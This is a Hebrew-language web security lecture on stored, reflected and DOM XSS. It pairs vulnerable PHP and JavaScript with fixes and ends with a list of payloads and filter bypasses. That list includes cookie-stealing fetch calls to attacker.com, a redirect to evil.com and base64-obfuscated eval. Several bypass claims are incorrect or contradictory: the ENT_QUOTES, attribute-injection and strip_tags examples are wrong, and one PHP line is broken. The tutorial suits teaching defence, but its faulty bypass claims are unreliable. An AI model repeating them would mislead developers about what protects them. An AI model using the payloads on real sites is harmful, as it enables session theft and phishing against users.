לדלג לתוכן

4.2 - חולשת XSS - הרצאה

Stored XSS, Reflected XSS, ו-DOM XSS

  • חולשת XSS (Cross-Site Scripting) היא חולשת צד לקוח, אשר מאפשרת לתוקף להזריק קוד JavaScript זדוני לדפי אינטרנט באתר הנצפים על ידי משתמשים אחרים.
  • קיימים שלושה סוגים עיקריים של XSS: Stored XSS, Reflected XSS, ו-DOM XSS.

Stored XSS

(הinjection קוד זדוני המאוחסן בשרת)

ב-Stored XSS, הקוד הזדוני נשמר באופן קבוע בשרת ונשלח לכל המשתמשים שניגשים לדף הנגוע. בדרך כלל, הפגיעות מתרחשת באזורים שבהם משתמשים יכולים להכניס תוכן, כגון טפסי תגובות, פוסטים בפורומים או שדות פרופיל.

דמיינו שיש לנו את הקוד הבא:

<?php
// Vulnerable code - Stored XSS
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $comment = $_POST['comment'];

    // Saving to the database without filtering
    $stmt = $pdo->prepare("INSERT INTO comments (text) VALUES (?)");
    $stmt->execute([$comment]);
}

// Displaying the comments
$comments = $pdo->query("SELECT text FROM comments")->fetchAll();
foreach ($comments as $comment) {
    echo "<div class='comment'>" . $comment['text'] . "</div>"; // XSS vulnerability
}
?>

דוגמה לפגיעות Stored XSS

משתמש מזין את התגובה הבאה בטופס תגובות באתר:

<script>alert('Your site is hacked!');</script>

התגובה תישמר בdatabase.
עכשיו, כל משתמש שיגש לאתר, הphp ישלוף מהDB את התגובה שהוספנו שכאשר הphp ישלח אותה עם הhtml שהוא יוצר, התוסף לhtml את תגית הscript שיצרנו ותרוץ פקודת alert על המשתמש.

סכנות של XSS

אז הרצנו קוד javascript שלבחירתנו על כל האנשים שגלשו לאתר, מה זה עוזר לנו?

  • נוכל לגנוב עוגיות של משתמשים (Cookies) לצורך הזהדהות עם המשתמש שלהם.
    <script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
    </script>
    

    נוכל להגן על הקוד באמצעות שינוי הecho כך שנשתמש בפונקציה htmlspecialchars על הקלט של המשתמש מהDB.
    <?php
    foreach ($comments as $comment) {
        echo "<div class='comment'>" . htmlspecialchars($comment['text'], ENT_QUOTES, 'UTF-8') . "</div>";
    }
    ?>
    

    סוג הXSS הזה נקרא stored בגלל שאנחנו שומרים את הpayload בתוך הdb, כך שכל המשתמשים יהיו חשופים לחולשה.

Reflected XSS

(הinjection קוד זדוני המוחזר מיד מהשרת)

ב-Reflected XSS, הקוד הזדוני אינו נשמר בשרת אלא נשלח כפרמטר בבקשה, ומוחזר ישירות למשתמש. זה קורה לרוב כאשר נתונים מועברים דרך ה-URL או פרמטרים של טופס ומוחזרים לדף ללא סינון נאות.

דוגמה לפגיעות Reflected XSS

<?php
$searchQuery = $_GET['q'];
echo "תוצאות חיפוש עבור: " . $searchQuery; // XSS vulnerability
?>

משתמש מקבל קישור ממקור לא ידוע:

https://example.com/search?q=<script>alert('Hacked!');</script>

אם האתר מציג את ערך החיפוש ישירות על הדף ללא סינון, הקוד הזדוני ירוץ בכל פעם שמישהו ילחץ על הקישור.

סכנות Reflected XSS

  • תקיפות פישינג: הפנייה של המשתמשים לדף מזויף שנראה כמו האתר המקורי.

  • הinjection קוד המאפשר גניבת נתוני התחברות. (גניבת עוגיות)

  • השתלת קוד המפנה את המשתמשים לאתרים זדוניים.

גם פה כדי להגן על המתקפה נוכל לשנות את הקוד כך:

<?php
$searchQuery = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "תוצאות חיפוש עבור: " . $searchQuery;
?>


DOM XSS

(הinjection קוד באמצעות שינוי ה-DOM בדפדפן)

ב-DOM XSS, הקוד הזדוני מופעל על ידי שינוי ה-DOM של הדף ישירות בדפדפן, ללא מעורבות השרת. זה קורה כאשר האתר משתמש ב-JavaScript לטפל בקלט המשתמש בצורה לא מאובטחת.

דוגמה לפגיעות DOM XSS

נניח שיש קוד JavaScript שמכניס את ערך ה-URL לתוך הדף כך:

<script>
const userInput = window.location.hash.substring(1);
document.getElementById("output").innerHTML = userInput; // DOM XSS vulnerability
</script>

תוקף יכול לשלוח למשתמש קישור כמו:

https://example.com/#<script>alert('Hacked!');</script>

כאשר המשתמש נכנס ללינק, הדף מריץ את הקוד הזדוני.
זה נקרא DOM XSS בגלל שבאמצעות קלט של המשתמש ניתן לשנות את הDOM של הHTML.

סכנות DOM XSS

  • הbypass הגנות מבוססות שרת, כי הקוד מתבצע ישירות בצד הלקוח.

  • גניבת מידע דרך שינוי התוכן בדף.

  • התקפות פישינג מתוחכמות יותר.


כיצד להגן על מערכות מפני XSS?

אימות וסינון קלט – לעולם לא להכניס קלט משתמש ישירות ל-HTML ללא סינון והסרת תווים מסוכנים.
✅ דרך אחת, Escape של פלט (Output Encoding) – שימוש ב-HTML entities למניעת injection קוד. (כמו הפונקציה שהצגנו בפתרונות למעלה.)
✅ דרך שנייה, Content Security Policy (CSP) – הגדרת מדיניות אבטחה של הדפדפן שמגבילה את הרצת קוד JavaScript חיצוני. (נדבר בהמשך בהרחבה על הגנה זו.)
הימנעות מ-innerHTML – שימוש ב-textContent או בפונקציות בטוחות אחרות להוספת טקסט לדף.
שימוש ב-HTTPOnly Cookies – עוד הגנת דפדפן, משמשת הגנה מגניבת עוגיות- נדבר בהמשך בהרחבה על הגנה זו.

דוגמאות מתקדמות ל-XSS Payloads ודרכי bypass

Payloads בסיסיים ל-XSS

1. payload פשוט

<script>alert('XSS')</script>

2. גניבת Cookies:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

3. Redirect למקום זדוני:

<script>window.location='https://evil.com'</script>

Payloads מתקדמים עם bypass הגנות

1. הbypass htmlspecialchars (כאשר לא משתמשים ב-ENT_QUOTES):

<img src=x onerror=alert(1)>

הסבר: אם הקוד משתמש ב-htmlspecialchars($input) ללא ENT_QUOTES, הוא לא יקודד את המרכאות.

2. שימוש ב-JavaScript URI:

<a href="javascript:alert('XSS')">Click me</a>

3. שימוש בalert ללא תווים אסורים:

<svg onload=alert(1)>

4. הbypass סינון עם Base64:

<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>

הסבר: atob('YWxlcnQoJ1hTUycp') מפענח ל-alert('XSS')

דוגמאות להגנות PHP ועקיפתן

1. הגנה בסיסית עם htmlspecialchars

<?php
$input = htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8');
echo <input value="<?php echo $input; ?>">;
?>

הbypass: אם הפלט משמש בתוך מאפיין HTML:
Payload:
" onmouseover="alert(1)

פיתרון: יש להשתמש ב-htmlspecialchars גם עבור מאפיינים.

2. הגנה עם strip_tags

<?php
$input = strip_tags($_GET['input']);
echo $input;
?>

הbypass:
<scr<script>ipt>alert(1)</scr</script>ipt>

הסבר: הפונקציה מסירה את <script> אבל משאירה את ה-payload שלם.

3. הגנה עם regex

<?php
$input = preg_replace('/<script.*?>.*?<\/script>/si', '', $_GET['input']);
echo $input;
?>

הbypass:
<scr<script>ipt>alert(1)</script>

או:
<img src=x onerror=alert(1)>